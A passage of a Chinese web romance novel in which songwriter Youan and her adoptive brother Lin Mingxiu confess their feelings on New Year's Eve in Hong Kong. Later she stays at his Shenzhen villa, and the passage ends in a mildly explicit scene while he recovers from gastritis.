她探究地凑近,柚安还在神游,双颊浮着一层薄红, 像八月的晚霞。 “什么完了?”尹晴不解地问。 柚安这才回神,无力地掀起眼皮,“什么?我说什么了?” 尹晴蹙眉,“没睡好吗?浑浑噩噩的。” “也不是。” 怎么说呢? 做了一夜的“春梦”而已…… 她记得一再跟林鸣修说过,不喜欢他。 不喜欢他。 不喜欢他。 不喜欢他。 亲了。 脸好疼。 非要抵死不认的话,林鸣修也是会由她的,她想来想去,就这样决定了。 “对了,妈,您昨天要跟我谈那个人什么?” “……算了,改天再说吧。”尹晴白她一眼,“那个人……” 柚安没留意母亲的不悦,心不在焉地用叉子戳盘里的欧姆蛋。 刚炖好的五指毛桃桂圆红枣鸡汤,尹晴命人放到她面前,盯着叫她喝完。 这些天她又瘦了,现在看来,精神也恍恍惚惚的,叫人没法不担心。 喝汤的时候,尹晴提起梁太,后者发起了一场“守护星星群星义演”,为柚安留了VIP包厢,邀请她观看。 “她想问问你,觉得主题曲怎么样,有没有什么意见或者建议。” 柚安“嗤”了一声,“不怎么样。” “你这态度……她特地问起你,看得出来很欣赏你这方面的造诣。” 柚安低头笑出声。 “真的看中,怎么不邀我上台?妈,我不去。” 尹晴不再相劝,莞尔道:“知道你不想去,已经帮你推了。” 她也是这样想的,柚安有什么登不上台面的?她不要女儿屈居台下,当场就帮她拒绝了。 柚安的嘴角弯起来,笑眯眯地:“还是妈疼我。”. 林鸣修虽保住了代理CEO的位置,仍要马不停蹄地奔波。投票后不久,他就被林鹤堂被派到深圳,主持绿色能源社区项目。 这个项目是他亲自发起的,也是顾祈年的遗愿,他非常上心,立马就去了。 柚安看不见人,发愁要怎么跟他抵赖。 连续好几天在微信上打,“那天的事情不作数,我缺觉加失眠,脑子晕掉了,说起来,是你趁人之危。” 又反复删除。 这样的话太不体面,甚至有点无赖。 “守护星星群星义演”在跨年当晚举行,海内外很多知名歌手都到场站台,声势之浩大,压下了当天所有跨年晚会的热度。 柚安还是去了。 怎么会不想听自己写的歌,在万人体育场上空响起呢? 林栖也来了,她跨海过来,也想看晚会。两个人戴上口罩,买了两张不起眼的观众席,随人流而入。 林栖一落地就问起主题曲的事,柚安知道瞒不过她的耳朵,就隐了去四海董事会的事情,承认自己是背后枪手。 林栖听完就不说话了。 两人一起往体育馆的观众席走,观众爆满,在行进缓慢的队伍中艰难拥挤了好一会儿,才找到座位落座。 柚安觑她几眼,实在忍不住,问:“你是在生气吗?” 林栖说:“我快气死了。” 晚会的压轴,梁嘉栋和梁嘉仪带领群星演唱了主题曲。 所有明星悉数上台,全都穿着“守护星星”主题的文化衫,白T,牛仔裤,淡妆,按咖位大小整整齐齐站了三排。黎燃也来了,他站在第二排的中间,前面全是天王巨星。 身后的屏幕播放着公益活动的感人画面,旋律真挚动人,众星的歌声齐齐响起,惹得很多观众泪目。 柚安对这个排场很满意,自己写的歌能够在这样的舞台上,被这么多巨星齐声演唱,从而帮助到别人,难道不是一种光荣吗?署名而已,她告诉自己,有什么好在乎的? “好听吗?”她问林栖。 “好听。”林栖也泪目了,专注地看着台上,泪光莹莹。 “好听不就行了,有什么好生气的?” 林栖说平复下心情说:“其实他们也邀请了我跟陆野,但是我们都拒绝了……因为,要齐唱这首歌的原因。” “不会是因为我吧?”柚安嗔怪地看着她,“好小气噢。” 林栖叹气,“我们以为他们抄袭你的歌,所以才拒绝的。谁知道是你主动奉上,柚安,我们做音乐的,不是把版权当命吗?你难道不心疼?” 我该心疼吗? 柚安心想,还是我的心,已经死了太久了。 林栖:“除非你跟梁太的那个交易,涉及至亲至爱,否则,就算有再大的利益纠葛,我也不能接受……反正我不能……看着我干什么?你脸怎么红了?” 柚安:“……不知道你在说什么。” 垂眸了良久,等到歌手依次下台,她低声说:“可是啊,如果不这样,这首歌连我的酒吧都走不出去,这样性质的舞台,能出现我的名字吗?” “能啊,你的名字那么好听。” “别装傻,你知道我说的是什么。” 她的名字,好像永远跟负面新闻联系在一起,谁敢在这种场合用她? 林栖知道只要她乐意,可以让那个有本事的大哥出面解决,就像电视里演的那样,他可以买下一整家经纪公司供大小姐驱使,资源、舆论,也都有手段操控。 但是,就是在最最低谷的时候,她也宁愿一个人支撑,即便背井离乡去疗伤,也没向家里求助,这么好强的一个人,绝不甘心将梦想倚赖在另一个人的身上。 “你想吗?你想走出去,就可以。”林栖说,“你要想。” 柚安捏着手机,手指将屏幕按亮又熄灭,又按亮再熄灭…… 她的心思飞向了另一件事。 压轴表演结束了,梁家兄妹上台,发表了冗长的感谢演讲。 柚安百无聊赖,横下心将屏幕举到面前,点亮解锁,打开和林鸣修的对话框。 那天过后,整整一周的时间,他人不在港岛,电话没有一通,消息也没有一条,这是一个亲过她就跑的人,该有的样子的吗? 柚安恼火地一指头戳到他黑涛翻滚的微信头像上,打算将那条“不体面”的消息发出去,彻底解脱。 谁知戳得太重,不小心触发了“拍一拍”特效。 手忙脚乱撤回途中,聊天栏蹦出一条消息。 XU:【那天的事,要不就当做作没发生过?】 柚安浑身的血液烧起来,头皮火辣辣的。 自己惴惴不安了七天,他倒是先不认账起来了…… 手指于键盘翻飞,一句“我早就想说了”还没有打完,又冒出来一条。 XU:【我不会跟任何人说,是你先张嘴的。】 柚安:…… 输入框的文字删掉,换做一串骂人的话,没打完呢,那头又发来消息。 XU:【也会努力忘记,你把我咬出血的事。】 那就不要再提啊! 柚安差点将手机砸在地上,那句抵赖的话,就这样生生被堵住。 台上喋喋不休的官话溜进耳膜,变成语焉不详的电流声,滋滋作响,她拉了拉林栖说:“后面就是慧慈雅集那些大婆上台说漂亮话了,我们撤吧,带你去山顶看烟花呀!” 两人一拍即合,趁散场的人流还未到达最高峰,顺利离场。 太平山顶,漫天烟花炸响,绚丽的烟火直冲云霄,将天幕照亮。成百上千的人在烟花下倒数,相拥,喊出新年愿望。 跟着人群欢呼叫喊了一阵之后,柚安忽然觉得心里空空的。 那种空空然,想要抱住些什么的感觉,以前也有过。 那时她以新人的身份在乐坛崭露头角,在一档竞技类音综,披荆斩棘夺得了冠军,站在领奖台上,所有聚光灯都对准了她。台下粉丝尖叫,头顶漫天彩券洒落,她没有即将一飞冲天的兴奋,反而觉得失重,急切地想要拥抱些什么。 越是狂欢的场合,孤独感就越爱造反。 她转身,想要向林栖寻求慰藉,不巧后者视频铃声响。看到屏幕上显示“陆野”的名字,柚安不动声色地将目光避开。 林栖:“我……” “快去快去,跨年当然要和男朋友腻歪啦!” 林栖退出人群接电话去了。 柚安仰头去看烟花,震耳欲聋的声响中,一朵朵烟花次第绽放又坠落。她企图沉浸,尝试和众人一起大声呐喊,却始终摆脱不了内心的空洞。 烟花将她的脸庞照亮又熄灭,渐渐地,她的表情由惊喜转为平静,像沉沉的,掀不起涟漪的湖水,融不进周遭的山呼海啸。 这时有人上前,站在了她身旁。 她没有转头,就下意识认为,是林栖回来了。 展臂伸了个懒腰,手臂落下时,自然而然搭在对方肩膀上。 “我有点累了……”她想跟朋友撒娇。 我有点累了,意思是,好孤单啊。 可是话没说一半就察觉到不对劲,身高不对,触感也不对。 扭头一看,竟然是林鸣修。 柚安瞪大眼睛,烟火绽开,明明灭灭,他穿着一件黑色毛呢风衣,像是披着月光,满肩风尘。 “你怎么在这儿?!” “我不想一个人跨年,太孤单了。”他说。 是啊,她心说。 林鸣修递给她一杯热饮,她接过,捧在手里烫烫的,她们一直看着对方,烟花映照在他的瞳孔里,像一片微缩的星云,金光灿烂。 奇怪的是,每次见到他,世界就会骤然陷入静止,任人群喧嚣,烟花轰然如炮鸣,统统听不见。 她低头去喝热饮,是牛奶。 林鸣修手里的是咖啡,他喝的时候,醇郁的咖啡香飘到柚安的鼻尖,她说:“换一下,我想喝咖啡。” 林鸣修不让,说:“太晚了,会失眠的。” “那你还喝?” “开车提神。” 柚安瘪了瘪嘴,“什么口味的?” “榛果味。” “哦,榛果味。” 她没有看咖啡,一直看着他的眼睛,他眼睛里的小小火花明暗交错。 心中OS响起:现在有机会了,说啊,说那个吻不作数。说你是先于他,决定那个吻不作数的。 “想尝尝吗?”林鸣修见她执着地盯着自己。 柚安:“嗯。” 林鸣修将咖啡递过去,“就尝一小口。” 他习惯性地满足她的所有要求。 那个OS在柚安的脑海中反复回响,她的身体却越过咖啡,踮起脚尖,吻上了他的唇。 榛果味拿铁,淡淡的甜味,馥郁的奶香,最后尝到咖啡的苦涩,都是她喜欢的味道。 对方全无预料,他的唇角颤抖了一下,迟疑数秒,才知道回应。 他环住她的腰,将她搂进怀里,身体紧贴之下,弥合了一些身高差。 不同于上一次的疾风骤雨,这次拥吻密实而绵长,好像怎么也尝不够。他找到她的舌尖,轻轻绞缠,温柔吮舐。换气的间隙,很认真地看着她的眼睛。 “林柚安,我喜欢你。” 再次吻下的时候,他将手探进她发间轻揉,吻至耳垂,轻轻地啃咬了一下,贴着她烧红的耳畔一遍遍地说着—— “我喜欢你。” “我喜欢你。” …… 好像要将藏了二十多年的喜欢,报复性说个够本,让烟火见证,让人潮见证。 “嗯。”柚安双手攀上他脖颈,接受着他亲吻和鼻息,脸已红透。 世界在一遍一遍的“我喜欢你”中,悄然坠落,她仰起脸去找他的唇,他很快吻过来,手仍不舍地摩挲刚吻过的耳垂。柚安觉得它像烈日下的棉花糖,就快要化了。 她凭借本能回应跟探索,确认着从心理到身体上的喜欢,直到悄悄在心里说出:我想,我也喜欢你。 第39章 像只训练有素的大狗狗,…… 这是一个悠长的拥吻, 长到时间失去了存在感。 柚安心里空出的那一个洞,被密密实实填满。 不止是此刻,记忆回溯到夺得音综冠军的夜晚,回溯到去英国那个冬夜, 空荡荡的候机大厅, 回溯到异国他乡, 一个人为排遣失眠, 彻夜练琴的琴房…… 回溯到无数个偷偷望向陆野, 却总看到他奔向另一个人的时刻…… 她依次回到那些不敢触碰的记忆沼泽,回到无数个孤独的身体里。 这个密不透风的怀抱, 便跟着她穿越时空,用力地, 用力地扑向那时的她,再紧紧收拢, 直至那些残破的自己一个一个冲出沼泽, 呼吸道鲜甜温热的空气。 那时候, 她一定想不到, 这样破碎的自己, 也值得最好的爱跟拥抱。 就在不久的将来,它们会穿越回来, 治愈此刻的不堪。 多年以后, 她跟林鸣修分享起这种感受, 告诉他,这大概是她想要他的开始。 林鸣修换了个侧躺的姿势,支着脑袋认真地看着她,“有没有可能,回到过去拥抱你的, 是你自己?” 他扯过床边的薄毯,盖住她汗涔涔的背,将唇覆上去。 烟花燃尽之后,太平山顶陷入昏暗,人群开始淅淅沥沥往山下流动。 柚安收到林栖发来的消息:【我先回酒店了,姨母笑.jpg】 下面附了张她跟林鸣修在人海中拥吻的照片。她圈着林鸣修的脖子,双眼微闭,对方亦然。 他偏过头,脖颈修长,一道青筋微微凸起,斜对着镜头,给氛围增添了一层微妙的张力。 没有人替他们见证,大家都忙着亲吻自己的爱人。这一天的太平山顶,最不缺的,就是这样平凡又甜蜜的恋人。 “是林栖告诉你,我们在这儿的?” “嗯。” “真是的,对我也不吱一声……” 他们走在人群的末端,走得很慢很慢。好像山下的市井灯火,璀璨霓虹,会冲淡夜幕下的冲动一样。 柚安心里有些惴惴,也许是他们身份的关系,她总不习惯与林鸣修在大庭广众之下相处。很多双眼睛窥视着他们,一对没有血缘的兄妹,关系好,关系不好,都有戏看。 如今更是尝到“偷偷摸摸”的乐趣,看到两道逐渐多起来的街灯,脚步愈发磨蹭。 “怎么不直接问我呢?”她嘟囔。 “怕你不理我。”林鸣修说。 柚安的手插在他的大衣口袋里,被他牵着。他挨个捉住她的手指,无意识地在指腹打圈摩挲。 另一只手拿着牛奶。 至于他的咖啡,还是被柚安喝了。 “那你刚才发信息说,那天的事当没发生过,是什么意思?” 林鸣修无声地笑了笑,“我感觉你想要这样,又开不了口。” 柚安不乐意,“你凭什么替我感觉?” 林鸣修说:“还记得小时候学象棋吗?你又菜又好强,步步都要悔棋,盘盘都要抵赖。” 柚安想起那些在他眼皮子底下耍赖,而他全然接收的黑历史,脸涨红。她习惯了所有人都让着她,却唯独喜欢跟林鸣修下象棋,那种微妙的差别,现在才意识到。 林鸣修在港岛没有家了,他一直住在酒店里。 总不能带她去酒店吧,那样太有偷欢的嫌疑了。 而且他发现,一到灯火明亮的地方,柚安就像只被野兽环伺的兔子,紧张极了,表面若无其事,口袋里的手却紧紧攥着,将他指头都捏疼了。 于是他提议去海边看日出。 柚安说好,左顾右盼,小跑冲上车子,关紧车门。 两个人开着车,在新年的第一天,在港岛的沿海公路上兜风,时间差不多了,就开去鲸落湾,靠在鲸鱼尾巴上,迎接第一缕阳光。 天亮过后,林鸣修又要奔赴深圳了。 他们金光遍撒的海滩接吻拥抱,两个久溺缺爱的人报复性地享受亲密。 “好了。”柚安拍拍他,才动身,又被林鸣修按进怀里。 如此重复了好几次,他不说话,只是用身体动作,温柔坚定地表达不舍。像只训练有素的大狗狗,连撒娇的方式都很沉默。 天亮以后,他的电话就一通接一通。 在电话里,他冷淡高效地安排着一桩桩事情,语调冰冷,不着情绪,好像又回到了那个没有被植入情感模块的AI。 电话那头没人会想到,Boss杀伐果断作出决策的时候,下巴不舍又腻歪地蹭着爱人的肩头。 柚安在他胸口嗤嗤笑了出来,“高级牛马。” 挂掉最后一通电话的牛马将下巴抵在她颈窝,无奈地呼出一口气。 这回真的得走了。 他走后的几天,柚安全身心带着林栖在港岛游玩,以弥补跨年夜的失陪。 林栖要走的那一天,她们正在餐厅喝下午茶,柚安接到梁嘉仪的电话,请她去深圳帮她们监棚。 “还好你今天飞机,你走了我也有事了。”柚安结束通话后,对林栖说,“他们在深圳的棚子录主题曲的发行版,叫我去监棚。” 说是监棚,八成是录制出了问题,他们想改词曲,又改不好。 林栖听后无语了半天,五星级酒店的樱桃挞顿失香甜。 “为什么在深圳?” “他们信任的制作人老师,工作室在深圳。” “那一定是经验丰富的大制作人咯,干嘛还让你跑一趟?”林栖脸色沉下去,她当然知道,改词曲这种事,到底是原作者在场比较好,但他们怎么好意思这么做呢? “帮人帮到底咯,”柚安若无其事地喝茶,放下茶杯后笑眯眯地,“梁太给我地好处更多。” 将林栖送走后,柚安打电话对阿谨交代了些酒吧的事情,就动身去深圳。 由于是临时被叫去的,她打算住在林鸣修那里。 说明原委后,后者立即将地址和门禁密码发给了她,电话里,他并没有明显的,别后相聚的兴奋,柚安有点恼火,“怎么,不高兴我住你那里啊?” “不是的,”林鸣修人在工地,风呼呼地吹着,杂音不断,“我这段时间有点忙,恐怕没时间回去陪你。” “某种意义上讲,我也是来工作的,就借住几晚,不需要你陪我的。” 柚安没有半点黏腻的态度,她只想赶快搞定梁家两兄妹,把这件事了结。 “噢。”林鸣修有点失望。她需要房子,不需要他。 等待老板打完电话后发号施令的下属,统一戴着黄色安全帽和橙色安全背心,在老板身后站成一排,看着同样戴安全帽,穿安全背心,腮上长满胡茬的老板蹲在地上委屈惆怅,既紧张又疑惑。 这些天,林鸣修一直待在工地上,与工人同吃同住,忙得晕头转向。 向来理智和事业心驱使的他,一时还不知道怎么处理突然闯入的情感冲动。 有的时候他真的很羡慕黎燃,如果是他,不论什么时候,都会抛掉一切,骑着机车,风车电掣地去见爱人的吧。 “老板,”Kim看出他遇到突发事件,小心询问,“一会儿和承建商的见面需要取消吗?” “日程照旧。”林鸣修面无表情地说。 柚安推着为数不多的行李走进别墅区,这一带依山傍海,环境一流,找不出缺点,不得不佩服林鸣修作为地产商的眼光。 房子是一栋两层楼的独栋别墅,院子里种了一圈胡柚树,将小楼围起来。 柚安打开院门,推行李而入,沿着胡桃木铺就得小径走向小楼,沿路闻到清新的柚子果香。 看来他当时认真打点了这里,是打算长久定居的。 室内的装修是胡桃木和黑色为主,窗外明黄的柚子,是唯一的亮色。内部装饰冷沉的工业风,大片焦糖色,黄铜五金,仿古哑光的地砖。各处一尘不染,生活痕迹不多,跟样板房一样。 柚安才换好鞋,就看到一只毛茸茸的布偶猫溜达出来。 准确地说,它应该是滚出来的,因为胖墩墩,很难找到脖子,跟雪球一样。 “你是那只吧!被他救的那只对不对?” 柚安惊喜地跑上前,仔细辨认。 那时剃光的毛已经成倍长了出来,身材也胖若两猫,从浑身伤病瘦骨嶙峋,到如今蓬松柔软,雪白浑圆,变化惊人,可是那种警惕和不欢迎的眼神,还是和从前一样。 “他没把你送人啊。”柚安那时就很喜欢它了,发现它还在,而且被养得这么好,忍不住上手去摸。 小猫转身就走,一路上“喵喵”地表达不满。 “你还是只喜欢他对不对?”柚安跟上去,伸出手指头点在它额头阻住去路,嘿嘿地说,“可惜他已经是我的人了。” 小猫听懂了似的,带肉垫的爪子胡乱抓挠,柚安一缩手,它就逃了,走起路来身体一颤一颤的,气哄哄的样子。 如此高冷的态度成功勾起了柚安的征服欲。 “你的主人今晚不回来,看我怎么伺候你!”柚安说着,穿鞋快步走出大门。 林鸣修踏着刚将临的夜色回来,他还是忍不住,推后了和承建商的饭局,心急火燎地跑回来。 一开门,看到了此生无语的一幕。 家里被各种各样的猫占领了:狮子一样雄赳赳气昂昂的缅因猫、气度高贵的银渐层、异域神秘感的暹罗猫、小正太德文猫…… 自己的小布偶被十来只猫簇拥在中间,虽然依旧高冷,没有与它们太多的互动,但表情明显是在暗爽,连不经意地喵喵叫,都比平时更酥。 柚安满意地看着它们,不时拿猫条逗弄逗弄这个,吸一吸那个,玩得正开心。 “你在,干嘛?”林鸣修嘴角抽搐,他一路设想二人世界,如今明显过于拥挤了。 “这是那只猫吗?”柚安下巴指了指白团团的布偶猫。 “嗯,你到底……” “我不信,这样还不能让它喜欢我。” “哪样?”林鸣修嘴角又一抽。 “色诱。”柚安看着沉沦其中的布偶猫,笑得很阴险。 林鸣修长腿小心地避过沿路的小猫,找到自己那只,提起来面对着她,“柚安,它是男生。” 第40章 极近地盯了这顽固的病人…… 大小姐一掷千金, 薅走了别墅区旁猫咖的所有头牌。 这当然是不被允许的。 可是她给的太多了。 店员对前来还猫的年轻男人格外热情,承诺他或那位小姐任何时候都可以来免费撸猫。 男人身穿黑色帽衫,灰色运动裤,兜帽戴起来, 头上肩上趴了好几只, 胸前的衣服里还挂着一只, 脑袋露出来, 是只长得像毛绒娃娃的纯白布偶。 一张脸帅惨, 表情却有点“死”,眼神透着几分郁闷。 全程没有说话, 只在临走时,问大小姐付了多少钱。听到数字后, 他眉角跳了一下。 听阿谨说,柚安近来越来越会和酒水商、音响设备商谈价了, 谈判技巧玩儿上瘾, 一蚊的利润也要计较。 结果转身就把钱撒在这里…… 好喜欢。 柚安洗澡换衫完, 没来得及归置行李, 先把笔记本电脑拿出来, 打开主题曲的工程文件,一遍遍重放。 对这首歌的热情, 在一次次为适配梁家兄妹, 而做出的修改中, 早已淡薄,想到如今还要改得更加面目全非,不自觉一阵心痛兼心烦。 林鸣修从猫咖回来,看见柚安在客房靠着床,席地而坐, 全神贯注盯着膝间电脑,对他的存在毫无察觉,不禁有些低落。但未敢做声,就连注视都携着几分小心。 她真的是来工作的,自己却在得知她要来的那一刻,就开始心旌飘荡,不知所以。 假若不在眼前,是可以忍住日思夜想的,可她远赴而来…… 越是心思不单纯,界限感越重。敞开的一道房门,成了不可逾越的雷池,少年练就的克己自缚,并没有随关系的改变而松脱,如今反而更紧一寸。 布偶察觉到主人紊乱的心跳,探出脑袋蹭了蹭他的下巴,立马被他轻轻按了回去。 “嘘。” “喵!” 被宠上天的小猫不悦地跳下去,一颠一颠踩过柚安的键盘,往她怀里一躺。 屏幕上,数道音轨倏然乱掉,柚安也不生气,干脆将电脑搁到一边,笑着将小猫抱起来,一顿乱rua。忽然她想到什么,抬头,门外已空无一人。片刻后,浴室里响起水声。 温热的水流打湿头发,顺着脊背汩汩而下,暖意遍淌,林鸣修低头让水冲了几分钟,鬼使神差将水温调至了最低。 工地上没有天天洗澡的条件,他仔仔细细将身体洗了三遍,第一次厌恶自己被晒得界限分明的身体。 关了水,习惯性地左右摆了摆头,水滴飞溅。 刚摸到浴巾,门外传来一道敲门声,扭头看去,只见毛玻璃上映着柚安的剪影,他身体骤然升温,下意识拿浴巾去遮,不知道在慌些什么。 “怎么了?”声音故作镇定。 “不是说最近很忙,没空回来吗?” “还是想陪你,再说,一个人住在陌生的地方不害怕吗?这里又偏。” 林鸣修围上浴巾,用毛巾轻轻擦拭湿发,镜中映出一张胡茬丛生,略有晒伤的脸,洗多少次都显脏,他不禁皱眉,第一次在乎这些。 门外传来柚安的轻笑,“当我小孩子吗?真的不用陪我,我也就是跑两趟录音棚,应付完那俩位二世祖,就开车回去了。” 笑意未来得及收敛,门被倏地打开一线,露出林鸣修半个身体,和半张脸。 风吹日晒,他黑了不少,裸露的上身覆着薄薄一层小麦色肌肉,劲瘦而利落。 目光却流露一丝与之不符的赧然,“一点也不想我吗?” “……”柚安脸热。 怎么会不想呢?只是一个人来去惯了,一时不至于陷入没了谁就不行的境地。她以为,对方也是一样的。 何况这把猝然烧起来的火,也经不起细想。 那火光背后隐藏的诸多不安,沾到就叫人心烦。 柚安看着他的眼睛,刚张口说“想”,手机就震了起来,看着屏幕上梁嘉仪三个字,两人同时在心里骂了一句,林鸣修的目光几乎要将屏幕烧穿。 那通电话不知道打了多久,最后,林鸣修抱着布偶猫,在院里的胡柚树下吹了一夜的风。 第二天柚安醒来的时候,已经是早上八点,林鸣修不在,房间门上贴了张便条,说他去公司了,晚上有饭局,估计不会回来睡,让她自己小心。 一笔一画写出来的字,带着当事人的心情,柚安望着工整的笔锋,后知后觉地开始想他,却又有意逃避想他的心情。 准备出发去录音棚的时候,前院传来开门声,从监控画面认出,来人是林鸣修的助理。 身影在监视器中一点点靠近变大,柚安莫名地紧绷起来。捏着门把,竟有些不知所措。 按理说,撞见她,紧张的应该是对方才对。 那只手伸向了门外的密码锁,锁扣弹开之前,柚安默默转身,走进客房,关上了门。 助理是来喂猫的,林鸣修时常不回来,由助理定期上门投喂,并检查小猫的情况,偶尔他回来,这一既定日程也未作更改。 柚安贴门听着外头的动静,几分钟后,脚步就远去了,继而传来关门声。 她吁一口气,靠在门上好一会儿。 走出去,看到布偶猫正在食盆前大快朵颐,第一次觉得“偷偷摸摸”也没有那么好玩,一种明知道没有必要,还是悄然滋长的罪恶感,让人既委屈又焦躁。 站在院前的树下,将这种心情咂摸片刻,终是强行压下,一脚油门开出别墅区,赶往录音棚。 梁家兄妹此次回国,原本只是为了帮母亲的公益活动站场,顺便挣些知名度的。没想到因为主题曲的关系,收获了意想不到的赞誉和风光。 尝到了当明星的甜头之后,两人毅然决定将歌制成EP发售,在娱乐圈收割一番,将家世和学历的红利吃尽。 没想到录制过程出了问题,一小段转音怎么也达不到制作人的要求,要么将转音去掉,要么改得更贴合他们的嗓音条件。 偷来的饭,二道加工起来,免不了磕磕绊绊,越改越别扭,最后只好将原作者叫来,让她操刀。 从录音室出来时,天已尽黑,几颗星星疏落地散在天上,萧寂的柏油马路被失修的路灯照得阴森斑驳,柚安精疲力尽,只觉精气神被那对吸血鬼吸走了。 人还没有到家,又接到梁嘉仪的电话,说计划有变,歌可能录不成了。 问怎么了,那头气急败坏地说,她们白天改歌录歌的情形不晓得被谁拍下来了,视频发到兄妹两手机里,要敲他们一笔,不给封口费,就把找人代写的事情捅出去。 之所以舍近求远,就是为了这么个信得过的制作人,没想到团队里的小人防不胜防。 两兄妹在录音棚发了好大一通脾气,和制作人也闹掰了,仍旧揪不出那颗坏事的老鼠屎,发行EP的事只得搁置。 梁嘉仪说话有多没轻重,柚安是知道的,她能想象走后这半个小时,录音棚是如何地鸡飞狗跳。 心道活该,出道前遇见小鬼拦她一下,都算好的。 名声大了,可就要被阎王惦记了,两傻瓜蛋招架不住的。 装作遗憾的口吻安慰了两句,挂断电话,当下决定收拾行李,连夜开车回港,免得再生变数。 并给林鸣修发了条语音,告诉他歌录不成了,今晚就走。 那头久久没有回复,估计是在饭局上。 回到别墅区,将车停在院门前,进屋收拾好行李,再将用过的客房打扫一遍,恢复成入住前的模样。 推着行李将要上车时,一辆黑色商务车驶近,林鸣修被左右搀扶下了车,一人是Kim,另一人就是早上喂猫的那位。看到他们走过来,柚安下意识后退几步,躲进路旁的阴影里。 显然人是喝多了,头垂着,虽看不清表情,仍可感觉到他痛苦难受,柚安的心揪起来。 院门即将关上,她蓦地跑出两步,喊“Kim”。 几人停下脚步,林鸣修似乎已经没了意识,头仍垂着,Kim向另一名助理递了个眼色,让他先行将人扶进去,自己走向柚安,微一颔首,“大小姐,您来了。” 柚安“嗯”了声,有些尴尬,想把突然出现在林鸣修家的事情,解释清楚,又觉欲盖弥彰。 来找他就来找他,怎么成了心虚的事了?况且她实在担心林鸣修不过,便略过这一趴,直接开口问他怎么了。 Kim说:“老板饭局被承建商灌了不少酒,胃炎又犯了,疼得难受,又吐过好几次。” “胃炎?” “老板肠胃不好,一忙起来就顾不上身体,饭局又难免喝酒,总根治不了,还好常备着胃药,已经喝下了。” 柚安眼睫颤了颤,吸了口凉气,喉头发涩。 说话间,另一名助理已经出来,隔一段距离站着,Kim朝那人点了点头,对柚安说:“那我们先走了。” 两人向她鞠一躬,坐上黑色商务车走了。 柚安紧了紧推杆,走进屋去。 四下静静地,药效起了作用,林鸣修睡得很沉,但是眉头紧锁着,手握成拳放在腹部。 柚安将他手掌摊开放松,又伸手展平他的额头,烫得要命,脸上细细密密全是汗,紧抿的嘴唇没有血色。 当初他责怪她生病不会照顾自己,细心替她将药分门别类装在药盒,结果轮到自己病了,还不是囫囵挺过去? 脑中浮现起孟姨留下的信中,对儿子的担心,柚安不无嗔怒。 一只快要被虐待死的小猫都能被他细细养好,怎么就不能对自己好一点? 一夜过去,虫鸣带起一轮薄日,昏昏然将静谧的院子照亮,林鸣修意识逐渐清晰,只觉虚弱无力,连睁眼都费劲。 所幸身体是干爽的,衣服似乎也被换过,贴肤是一套柔软的棉质睡衣睡裤。 布偶猫趴在他腰间,细声细气“喵”了一声,他睁开眼,下意识伸手去揉它脑袋,手一动,就发现不对劲。 他双手是被布条绑着的,举过头顶,布条那一头在床头柱上系了个死结。 布偶猫同情地叫唤了一声,四蹄落地,浑圆地滚了出去。柚安与它脚步交错,进门走到床边。 “你醒啦?”她笑眯眯的。 林鸣修眨了眨眼,心中升起一个念头—— 迟早会被她玩死。 “不是回去了吗?这是怎么回事?” 柚安凑近,带着一阵甜甜的栀子花香,“这就帮你解开,但是你要答应我,卧床好好休息几天。” 林鸣修没说话,早上要去分公司开会,总公司那边也要线上参与。下午则要去工地视察,再生建筑材料正是递交审查的关键,一点问题都不能出,当年他的父亲就是栽在这上面。 “我问过Kim了,今天有会是不是?” 林鸣修苦笑,“知道你还……” “缺席一次,四海不会倒的。” “带病开个会,人也不会死。解开我。”他的眼神在说别闹。 怎么就不听话呢? 柚安拧眉,着急。 眼看林鸣修开始拧动手腕,试图摆脱布绳,她带着薄怒,倾身将人按回去,极近地盯了这顽固的病人,然后吻了上去。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 “……乖。” 这一吻完全未经思考, 只是出自本能。 吮过到他干涸的唇瓣,报复性质地咬了咬,男人闷哼一声,体温灼热, 双手紧拽着布绳, 手肘费力将上半身撑起, 似是苦苦索求吻地更深一些。 她退开, 问:“听不听我话?” 因为用力撑着身体, 大臂肌肉绷出山峦一样的线条。他的眼睛里燃着一簇黑色的火焰,火光跃动, 柚安看得恍然。 蓦地,他向上一挣, 锁住她的唇,狠狠吻了片刻, 声音哑地不行:“柚安, 给我解开。” 起先是她主动的, 现在, 她有点乱了, 舌尖迷乱,像浸了烈酒。犹豫的间隙, 对方猛地睁开布绳, 抱住她一转, 身体压下。 唇边和耳边的触感犹如细密的春雨,绵密灼人。 感受到那股力量,主动权瞬间失守,身体软得不似自己的。 在彻底坠落的边缘,又猝然涌起一阵恐慌…… “林小姐总是带男人回来, 一次带两个。” 脑子里无端地浮现出一些话,她睁开眼,找到了恐慌的来源,跟着冷笑一声。 林鸣修听见这声笑,退开去看她,只见她眼角含着一滴眼泪,吻上去,那泪水很凉。 他不敢动了,双手撑着,身体很热,比昨夜发着烧睡去之时,还热百倍。两边手腕上还缠着半截黑色布条,青色的血管因为身体的紧绷的缘故,微微凸显,随小臂蜿蜒而上。 “对不起,”柚安见他停下来,还在努力克制,不禁心生内疚,“突然想起一些,不该记得的事。” “什么事?”林鸣修牵起嘴角,笑了一下。 “一些被泼过的脏水。”柚安双手绕过他的腰,抱住他,“不打紧的,我从来没有放在心上。” 林鸣修轻轻“嗯”了声,侧身躺下,将她拥入怀里,紧紧箍住。 她将脑袋深埋在他胸前,“你很不争气诶,烫成这样。” “废话,我是病人。” 林鸣修再次确信,他会被她玩死。 而她,玩死别人还不自知。 她不就是那只布偶猫? 受伤害到现在都还在杯弓蛇影,防备得不行。 表面却又装作潇洒。 “怕死了吧?”他问。 “怕什么?” “和我在一起。” 如果被拍到,如果被发现,如果再次陷入舆论的漩涡。 “别说了。”她用脑袋顶了顶他的胸,下一秒就被按住。 “你别动。” 僵了很久,他深深叹一口气,“算了,你走吧,再不走要出事了。” 说着往前顶了顶。 “……” 柚安抿了抿唇,轻笑了声。 “那你好好在家待着,就休息一天。” “好,”林鸣修闷闷地道,“想走也走不了。” “……乖。”柚安笑了笑,说话的同时,伸手握了上去。 “嘶,别。”林鸣修沉沉吸气,脸烫地要冒烟。 “不是这样吗?” “……”林鸣修每一个细胞都像爆炸前的火山,深受折磨。 …… 不得已,他握住她的手。 很难想象此时此刻,四海的分公司高层在会议室正襟危坐,等着汇报各项目进展,而他们从来冷静持重,一本正经的老板,第一次放了鸽子,在家里的床上,手把手教人如何满足自己。 事后,林鸣修从后抱着柚安,捉着她的手去洗手池冲洗。柚安有点好奇,仔细瞅着手上的残留。 “别看。”林鸣修给她打上肥皂,细细搓揉,指缝也不放过。 “行了,手要被你搓没了。” 林鸣修停下来,将头埋在她颈窝,水哗哗流过两双纠缠在一起的手。 